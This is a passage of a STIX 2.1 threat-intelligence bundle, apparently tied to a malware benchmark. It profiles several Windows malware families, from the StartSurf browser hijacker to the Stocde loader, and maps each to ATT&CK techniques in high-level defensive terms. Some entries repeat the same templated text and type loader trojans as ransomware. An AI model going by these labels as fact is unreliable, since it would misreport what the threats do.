      "description": "StartSurf (classified by cybersecurity vendors as BrowserModifier:Win32/StartSurf, Adware:Win32/StartSurf, and PUP.Optional.StartSurf) is a pervasive browser hijacker and search-traffic redirection platform documented by Microsoft Defender and Malwarebytes. Commonly distributed via bundled software packages, deceptive software download portals, and cracked application installers, StartSurf covertly modifies the configuration parameters of installed web browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge. Upon execution, the malware alters the user's default search provider, modifies startup page URLs, and injects promotional query parameters that redirect search queries through affiliate-owned monetization portals. StartSurf also alters Windows desktop and Start Menu shortcut target properties (e.g., appending URL parameters to chrome.exe and msedge.exe) to ensure redirection occurs even if browser internal settings are restored. For persistence, it writes autorun entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and schedules background Windows tasks. (Observed samples in benchmark: 6,358)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/StartSurf",
        "Adware:Win32/StartSurf",
        "Win32/StartSurf",
        "PUP.Optional.StartSurf",
        "Adware.StartSurf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Startsurf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/startsurf"
        }
      ],
      "labels": [
        "browser_hijacker",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ec25b2a-4798-54e4-a53c-357c16a2eac2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cc2b3db-224a-5dc8-940f-ca8761b2e5f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2e08812-0e78-57ce-bcba-da9ab511c2a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71c68062-c788-5eb0-b5fc-6e858e7e2a8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f07b6d4a-9fb8-5907-aa34-cbbac646d6d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08aa1e82-3cab-5756-9722-7be3a8dbf0ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed5df657-e63d-5600-b6f6-3e877dd90a0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee9e8be7-9a05-507d-b507-380437d787ed",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Startsurf exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19f0ddb4-256c-5389-ac91-dbc6370a6199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Staser",
      "description": "Staser (cataloged in antimalware telemetry under signatures including Trojan:Win32/Staser, TrojanDownloader:Win32/Staser, and Trojan.Staser) is an evasive multi-stage Windows trojan loader and information-harvesting implant active since 2015. Infiltrating endpoints primarily through phishing email attachments and malicious torrent downloads, Staser functions as an initial staging loader for secondary crimeware threats. Upon execution, Staser performs environmental fingerprinting, checks for sandbox and hypervisor indicators, and creates autostart registry keys to establish persistence. It connects to remote command-and-control servers over HTTP/HTTPS, transmits host telemetry, and downloads encrypted payload files\u2014frequently modular banking trojans, cryptocurrency miners, and ransomware\u2014saving and executing them from temporary directories or directly into memory via process hollowing. (Observed samples in benchmark: 24)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Staser",
        "TrojanDownloader:Win32/Staser",
        "Trojan.Staser",
        "Win32/Staser",
        "Trojan:Win32/Staser.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Staser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/staser"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Steam",
      "description": "Steam (cataloged across security intelligence feeds under signatures including Trojan:Win32/SteamStealer, PWS:Win32/Steam, and Trojan-PSW.Win32.Steam) is a targeted credential stealer and virtual asset theft malware family active since 2014. Aimed at gamers and esports communities, SteamStealer infiltrates systems through malicious links in gaming forums, weaponized Teamspeak/Discord voice chat updates, and fake Steam Community trade offers. Upon execution, the malware searches local storage for active Steam installations and extracts sensitive authentication session artifacts, including ssfn* secret configuration tokens, Steam client configuration files (config.vdf), and cached login tokens. Furthermore, SteamStealer can hijack active Steam sessions, initiate unauthorized trades of rare in-game cosmetic items and inventory assets to operator-controlled accounts, and capture keystrokes from online gaming platforms before exfiltrating stolen data over encrypted HTTP or Russian underground Telegram bots. (Observed samples in benchmark: 54)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/SteamStealer",
        "PWS:Win32/Steam",
        "Trojan:Win32/SteamStealer!rfn",
        "Trojan-PSW.Win32.Steam",
        "Win32/SteamStealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Steam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/steam"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a787824-a6ab-5132-9a16-09238939d293",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Steam exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d4a4ecd-8b43-5438-bc01-4bb939501e38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Steam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77969617-15f0-5f54-a2ce-293ff2a5dd6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Steam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--180b17e8-216c-590b-95bc-17a06ec47d22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Steam exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c51192dd-75e7-5cb8-83be-4c378dab77c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674c52f2-35bb-52f2-9cdc-9ef641752eb9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Steam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0bb432dc-720b-5edd-8ce0-84a82373a056",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stegvob",
      "description": "<h3>Executive Summary</h3>\nStegvob is a highly sophisticated Trojan designed to covertly infiltrate Windows systems, establish deep persistence, and act as a highly evasive downloader for remote threat actors. As the name implies, Stegvob is notorious for heavily utilizing steganography\u2014the practice of hiding malicious code within seemingly benign files (like images or audio files)\u2014to completely bypass traditional signature-based antivirus solutions and static analysis during its initial infection phase.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStegvob is predominantly distributed through targeted phishing campaigns or via malvertising networks. The initial payload is often a standard script (VBS or PowerShell) disguised as a document.\n\nUpon execution, Stegvob relies on advanced evasion:\n<ul>\n<li><strong>Steganographic Payload Retrieval:</strong> Instead of downloading a traditional `.exe` file, the initial Stegvob script downloads a seemingly innocuous image file (e.g., a `.jpg` or `.png`) from a remote server. Hidden within the pixel data (often the least significant bits) of this image is the encrypted, true malicious payload.</li>\n<li><strong>In-Memory Decoding and Execution:</strong> The Stegvob script extracts the hidden code from the image file, decrypts it dynamically, and injects it directly into the memory space of a legitimate Windows process (like `explorer.exe` or `svchost.exe`). This means the core malware executable never touches the hard drive, rendering it invisible to standard file scanners.</li>\n<li><strong>Secondary Payload Delivery:</strong> Once active in memory, Stegvob acts as a stealthy conduit, contacting its C2 server to download and inject further malware (such as Cobalt Strike beacons, banking trojans, or ransomware) directly into memory.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Stegvob infection represents a severe breach orchestrated by a sophisticated threat actor. Because it utilizes \"fileless\" techniques and steganography, it easily bypasses perimeter defenses and legacy antivirus. A single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral EDR Monitoring:</strong> Static analysis is useless against Stegvob. Security teams must rely on advanced Endpoint Detection and Response (EDR) solutions that monitor for suspicious behavioral indicators, such as scripts executing PowerShell commands to manipulate image files, or legitimate processes making unexpected outbound network connections.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Perform a memory forensics analysis (using tools like Volatility) to identify the injected payloads and extract the C2 infrastructure.</li>\n<li><strong>Credential Reset:</strong> Treat the endpoint as fully compromised. All user credentials associated with the machine must be immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Stegvob",
        "Downloader.Steganography",
        "Win32/Stegvob"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stegvob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stegvob"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95685155-cfaf-5f37-b970-50a5debbd239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb432dc-720b-5edd-8ce0-84a82373a056",
      "target_ref": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stegvob exhibits technique T1027.003 (Obfuscated Files or Information: Steganography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--015fc219-fd34-5f69-a7d6-d3dbe1d4f6bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb432dc-720b-5edd-8ce0-84a82373a056",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stegvob exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efabfa48-c51a-5205-bc8a-894a18db11a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb432dc-720b-5edd-8ce0-84a82373a056",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stegvob exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29d4cbcd-a0af-576e-8c71-490736716623",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb432dc-720b-5edd-8ce0-84a82373a056",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stegvob exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stercogs",
      "description": "Trojan:Win32/Stercogs is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Stercogs</b><br>To an end-user, a Stercogs infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Stercogs is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Stercogs is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Stercogs frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Stercogs reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stercogs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stercogs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bbfc4ab-df31-51e9-a6bb-f760634665b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stercogs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adbbbda9-8a1a-5191-9c10-54f8937cc00e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stercogs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1718cbf-f684-53c3-b529-d6fb6c11cf73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stercogs exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd9b3d26-8c57-59ac-b5f7-f5bac40bae80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stercogs exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--581dd40f-91a6-56b2-92da-870fe8caa004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e277ba8-1422-5cf7-ab8b-6ad5da98bb43",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stercogs exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stimilik",
      "description": "Trojan:Win32/Stimilik is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Stimilik</b><br>To an end-user, a Stimilik infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Stimilik is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Stimilik is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Stimilik frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Stimilik reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stimilik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stimilik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b5283c3-946d-584a-b33f-07c0e576c78b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stimilik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dd9a702-ef99-5815-b21a-cbce52280eec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stimilik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--609f7a73-a0ed-56f0-825e-2bae94a33c6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stimilik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86c9ea9e-eeef-5592-9493-92b8e8b8968f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stimilik exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3cda80d-f580-5473-94fc-38cee4510193",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02e04c17-2383-5a12-8d46-1c2e5528319b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stimilik exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stocde",
      "description": "Trojan:Win32/Stocde is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Stocde</b><br>To an end-user, a Stocde infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Stocde is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Stocde is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Stocde frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Stocde reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stocde",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stocde"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35e200d3-c550-5fe8-ac77-8c68f6af467e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stocde exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3a67d7a-61e6-5d21-86ce-a58d4694d26b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a150e4-bd72-5212-b7d3-de0516807f7b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stocde exhibits technique T1055 (Process Injection)."
    },
